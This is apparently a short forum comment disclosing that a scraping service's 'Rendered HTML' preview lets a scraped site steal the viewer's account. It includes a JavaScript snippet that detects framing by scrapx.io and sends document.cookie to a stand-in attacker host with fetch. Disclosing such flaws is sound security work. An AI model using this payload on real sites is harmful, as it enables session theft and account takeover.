3 ms·
Your competitor can also just steal your "ScrapX" account if you view their site using the "Rendered HTML" preview, fun right? You just add a little bit of ext
by KomoD 3y ago
Your competitor can also just steal your "ScrapX" account if you view their site using the "Rendered HTML" preview, fun right?
You just add a little bit of extra JS onto your site:
<script>
if (document.location.ancestorOrigins[0].includes("scrapx.io")) {
fetch("https://attackersite.com/test123/"+document.cookie)
}
</script>